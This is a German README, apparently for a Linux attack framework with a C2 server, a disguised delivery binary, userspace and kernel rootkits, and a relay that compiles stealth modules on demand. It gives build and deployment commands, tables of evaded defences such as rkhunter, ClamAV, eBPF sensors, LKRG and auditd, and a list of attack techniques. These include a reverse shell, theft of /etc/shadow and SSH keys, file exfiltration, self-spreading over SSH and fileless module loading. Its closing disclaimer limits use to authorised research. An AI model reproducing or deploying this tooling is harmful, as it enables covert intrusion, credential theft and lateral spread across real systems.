### 2. Konfigurieren```bash
cp build.env.example build.env
nano build.env      # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN

Binärdateien landen in `bin/`.

### 4. Relay starten```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh

# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/

Einen Agenten auf dem Ziel bereitstellen:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown

| Komponente | Rolle |
|---|---|
| `bat-agent` | Agent. Sendet Beacons, führt TTPs aus. Garble-vernebelt. |
| `bat-server` | Operator-Konsole. Interaktive CLI. Verwaltet alle Agents. |
| `netshell` | Auslieferungs-Binary. Sieht aus wie ein Systemtool; ist ein vollwertiger Agent. |
| `bat-rootkit.so` | LD_PRELOAD-Userspace-Rootkit. Versteckt Dateien, PIDs, Ports, Umgebungsvariablen. |
| `bat-stealth.ko` | Kernel-Stealth-Schicht (Singularity-basiert). |
| `kcc-server` | Relay-Dienst. Kompiliert `bat-stealth.ko` bei Bedarf für den laufenden Kernel des Ziels. |
| `relay/` | Relay-Infrastruktur: nginx, TLS, Setup, Sync, Auslieferungsskripte. |

---

## Umgangene Verteidigungen

| Kategorie | Verteidigung | Umgehungsmechanismus |
|---|---|---|
| Prozessüberwachung | `ps` / `top` / `/proc`-Auflistung | `hiding_procs.c`: `getdents64`-Hook entfernt Agent-PID-Einträge aus der procfs, bevor Userspace sie lesen kann |
| Prozessüberwachung | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: `filldir`-Hook filtert PID-Präfixe aus allen readdir-Ergebnissen |
| Dateisystem | `ls` / `find` über Agent-Dateien und -Verzeichnisse | `hiding_fs.c`: `getdents64`/`getdents`-Hooks auf Zielpfaden; stat nlink entsprechend angepasst |
| Dateisystem | `lsattr` / `chattr`-Erkennung | `hiding_fs.c`: `ioctl`-Abfangen auf Agent-Dateipfaden |
| Dateisystem | `/proc/modules` / `lsmod`-Auflistung | `hiding_module.c`: entfernt `bat-stealth.ko`-Eintrag aus allen sysfs- und procfs-Modullisten |
| Netzwerk | `ss` / `netstat`-Portauflistungen | `hiding_net.c`: `tcp4_seq_show`/`tcp6_seq_show`-Hooks entfernen C2-Porteinträge aus der Ausgabe |
| Netzwerk | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: seq_file-Leseabfangen verwirft C2-Socket-Zeilen |
| Logs | `syslog` / `journald`-Schreibpfad | `hooks_write.c`: `write`/`splice`/`sendfile`/`tee`-Abfangen; Logeinträge, die mit Agent-Strings übereinstimmen, werden im Kernel verworfen |
| Logs | `io_uring` asynchroner Schreibpfad | `hooks_write.c`: `io_uring_enter`/`io_uring_enter2` abgefangen; ia32-Kompatibilitätspfad abgedeckt |
| Kernel-Sicherheit | `rkhunter` / `chkrootkit` | Modul vor `/proc/modules` versteckt; Agent-Dateien vor Dateisystem versteckt; null Warnungen bestätigt |
| Kernel-Sicherheit | ClamAV | Garble `-literals -tiny`-Verschleierung + keine eingebetteten Klartext-Strings; 0 Erkennungen bestätigt (DB 2026-04-20) |
| EDR / eBPF | eBPF-basierte Sensoren, die `/proc` lesen | Versteck-Hooks greifen auf Kernel-Ebene ein, bevor eBPF-Ringbuffer-Ereignisse erzeugt werden |
| Kernel-Introspektion | `ftrace` / `kprobes` auf Agent-Symbolen | `selfdefense`-Modul blockiert kprobe-Anhängen an Agent-Funktionsadressen |
| Kernel-Forensik | LiME-Speichererfassung | `selfdefense` blockiert Laden des LiME-Moduls und Zugriff auf rohe Speichergeräte |
| Kernel-Forensik | SysRq-T Task-Dump | `sysrq_hook` schließt versteckte Prozesse aus der von SysRq-T geschriebenen Taskliste aus |
| Kernel-Forensik | NETLINK taskstats | `taskstats_hook` filtert taskstats-NETLINK-Antworten nach versteckten PIDs |
| Kernel-Integrität | LKRG-Durchsetzung | `lkrg_bypass` unterdrückt LKRG-`SIGKILL`-Zustellung und verwirft LKRG-Lognachrichten |
| Audit-Subsystem | `auditd`-Syscall-Aufzeichnung | `audit`-Modul unterdrückt Audit-Ereignisse für alle versteckten PIDs auf der Kernel-Audit-Ebene |

---

## Syscall-Hooks

Alle Hooks werden von `bat-stealth.ko` bei Ladezeit über ftrace installiert. ia32-Einträge werden nur auf x86_64 kompiliert (`#ifdef ARCH_SYS_IA32`).

| Syscall / Funktion | Modul | Zweck |
|---|---|---|
| `getdents64` | `hiding_procs.c` | Verstecke Agent-PIDs aus `/proc`-Verzeichnisauflistungen |
| `getdents` | `hiding_procs.c` | 32-Bit-Kompatibilität: Agent-PIDs verstecken |
| `filldir` (readdir) | `hiding_procs.c` | Ergänzender Proc-Eintrags-Filter für ältere readdir-Aufrufer |
| `getdents64` | `hiding_fs.c` | Agent-Dateien aus Verzeichnisauflistungen verstecken |
| `getdents` | `hiding_fs.c` | 32-Bit-Kompatibilität: Agent-Dateien verstecken |
| `ia32_getdents64` | `hiding_fs.c` | x86-Kompatibilitäts-Syscall |
| `ia32_getdents` | `hiding_fs.c` | x86-Kompatibilitäts-Syscall |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | 32-Bit-stat-Abfangen für versteckte Pfade |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | 32-Bit-open/access-Abfangen |
| `ia32_readlink` | `hiding_fs.c` | 32-Bit-readlink-Abfangen |
| `ia32_chdir` | `hiding_fs.c` | 32-Bit-chdir-Abfangen |
| `ioctl` | `hiding_fs.c` | `lsattr`/`chattr`-ioctl auf Agent-Pfaden abfangen |
| `tcp4_seq_show` | `hiding_net.c` | C2-Porteinträge aus `/proc/net/tcp` verstecken |
| `tcp6_seq_show` | `hiding_net.c` | C2-Porteinträge aus `/proc/net/tcp6` verstecken |
| `bpf` | `bpf_hook.c` | Nulle Telemetrie für versteckte PIDs in allen eBPF-Programmen |
| `write` | `hooks_write.c` | Logeinträge mit Agent-Strings verwerfen, bevor sie syslog erreichen |
| `splice` | `hooks_write.c` | Gleiches Abfangen über den splice-Pfad |
| `sendfile` | `hooks_write.c` | Gleiches Abfangen über den sendfile-Pfad |
| `tee` | `hooks_write.c` | Gleiches Abfangen über den tee-Pfad |
| `io_uring_enter` | `hooks_write.c` | io_uring asynchrones Schreib-Abfangen |
| `io_uring_enter2` | `hooks_write.c` | io_uring asynchrones Schreib-Abfangen (v2-Syscall) |
| `sched_process_fork` (Tracepoint) | `pid_manager.c` | Versteckten Status über `fork`/`clone` vererben |
| `vprintk_emit` | `lkrg_bypass.c` | LKRG-Kernel-Lognachrichten verwerfen |
| `finit_module` / `init_module` | Agent (kcc-Lader) | Dateiloses Laden des Kernel-Moduls über `memfd_create` + anonymen fd |

---

## TTP-Referenz

| TTP | Name | Beschreibung |
|---|---|---|
| 1 | masquerade | Prozess-comm in `kworker/0:1` (oder benutzerdefiniert) umbenennen |
| 2 | reverse_shell | Reverse-TCP-Shell zu relay:4445 |
| 3 | memory_rwx | Anonymen RWX-Speicher zuweisen (Erkennungssonde) |
| 4 | shell_exec | Beliebigen Shell-Befehl ausführen |
| 5 | beacon | Sofortigen zusätzlichen Check-in erzwingen |
| 6 | persist | Persistenz installieren (cron / systemd / rc.local / openrc / profile / XDG-Autostart) |
| 7 | creddump | `/etc/shadow`, Bash-Verlauf, Umgebungsgeheimnisse, AWS IMDS sammeln |
| 9 | exec_chain | Prozesskette erzeugen (Erkennungssonde) |
| 10 | install_rootkit | `bat-rootkit.so` über `/etc/ld.so.preload` bereitstellen |
| 11 | inject + exit | Beacon- + rawsock-Threads in laufenden Prozess injizieren, dann selbst beenden |
| 20 | network_recon | ARP-Tabelle + TCP :22-Scan des lokalen Subnetzes |
| 21 | ssh_harvest | Private Schlüssel, known_hosts, authorized_keys, Konfigurationen sammeln |
| 22 | lateral_move | SCP eigene Kopie zu entdecktem Host über SSH, dann getrennte Ausführung |
| 23 | creddump_full | Erweiterte Credential-Ernte + Umgebungs-Fingerabdruck |
| 30 | exfil-file | Beliebige Datei lesen und base64-Blöcke über Beacon-Kanal senden |
| 31 | exfil-dir | Verzeichnis mit tar+gzip packen und über Beacon-Kanal exfiltrieren |
| 32 | exfil-auto | Konfigurierte Pfade überwachen und bei Änderung automatisch exfiltrieren |
| 34 | netmap | /16-CIDR auf aktive Hosts und offene Ports scannen |
| 35 | autospread | SSH-Lateral-Bewegung zu entdeckten Hosts mit gesammelten Schlüsseln; kopiert Agent und führt getrennt aus |
| 36 | smbprobe | SMB-Port-Sonde (:445) für Lateral-Bewegungskandidaten |
| 99 | kill | Leise Selbstbeendigung |
| 222 | destruct | Alle Artefakte entfernen, Speicher ausradieren, beenden |
| 1003 | K-03 (privesc) | Kernel-Signal 59 löst `commit_creds` auf uid=0 aus |
| 1099 | K-99 (unload) | Zweiphasiges Entladen von `bat-stealth.ko` über sysfs + rohes `delete_module(2)` |

Konsolenbefehle (im `bat-server`-Prompt):
- `kill`: TTP 99 an alle Agents
- `destruct`: TTP 222 an alle Agents
- `destruct @<agentID>`: gezielte Bereinigung

---


### KCC: Kernel Compile Cache

`bat-stealth.ko` wird bei Bedarf für den laufenden Kernel des Ziels kompiliert. Der Agent automatisiert den gesamten Ablauf zur Laufzeit; es ist kein vorgebautes Modul pro Ziel erforderlich:

1. **Kernel erkennen**: Der Agent liest `/proc/version`, um die exakte `uname -r`-Zeichenkette zu erhalten.
2. **Kompilierung anfordern**: Der Agent sendet die Kernel-Zeichenkette per POST an `kcc-server` (`:9444`) mit einer HMAC-signierten Anfrage.
3. **KCC-Server kompiliert**: Der Server baut `bat-stealth.ko` gegen die passenden Kernel-Header und cacht das Ergebnis nach Kernel-Hash.
4. **Modul-Bytes empfangen**: Die kompilierte `.ko` wird im Antwortbody zurückgegeben.
5. **Dateiloses Laden**: Der Agent erstellt eine anonyme Speicherdatei (`memfd_create`, Syscall 279 auf x86_64 / 319 auf ARM64), schreibt die Modul-Bytes hinein und ruft dann `finit_module` (Syscall 273 / 313) mit einem leeren Parameters-String auf.
6. **Registrierung**: Das Modul registriert alle Hooks und versteckt sich innerhalb von Millisekunden vor sysfs/procfs.

Es wird zu keinem Zeitpunkt eine `.ko`-Datei auf die Festplatte geschrieben. Das Modul verschwindet sofort nach dem Laden aus `/proc/modules`.

**Mindestkernel:** 6.x (K-00-Sonde; der Agent überspringt das Stealth-Laden auf älteren Kerneln).  
**Getestet:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP).

---

## Build Profiles```bash
make lab SECRET=<hex>          # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex>          # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex>  # ICMP trigger only, no UDP port exposure

Anmeldeinformationen werden auf dem Relais in `/etc/bat/tg.env` geschrieben und über `sync.sh --tg` an alle Synchronisationsziele weitergegeben. Der Dienst startet automatisch und überlebt Relais-Neustarts.

---

## Haftungsausschluss

Diese Software wird ausschließlich für autorisierte Sicherheitsforschung, Angriffssimulation in kontrollierten Laborumgebungen und die Entwicklung von Erkennungs- und Reaktionsfähigkeiten entwickelt. Sie enthält funktionale Implementierungen von Angriffstechniken, darunter Kernel-Level-Rootkits, Prozessinjektion, Diebstahl von Anmeldeinformationen und laterale Bewegung. Die Bereitstellung auf einem System ohne ausdrückliche schriftliche Genehmigung des Systemeigentümers ist nach den geltenden Gesetzen gegen Computerbetrug und -missbrauch in den meisten Rechtsordnungen illegal.

Die Autoren übernehmen keine Haftung für etwaige Schäden, rechtliche Konsequenzen oder Schäden, die aus der unbefugten, fahrlässigen oder böswilligen Nutzung dieser Software entstehen. Durch die Nutzung dieser Software bestätigen Sie, dass Sie ein qualifizierter Sicherheitsexperte sind, der im Rahmen eines rechtmäßigen, autorisierten Umfangs handelt, und dass die volle rechtliche und ethische Verantwortung für deren Nutzung allein bei Ihnen liegt.

Diese Software darf ohne vorherige schriftliche Zustimmung nicht an Dritte weitergegeben, veröffentlicht oder offengelegt werden.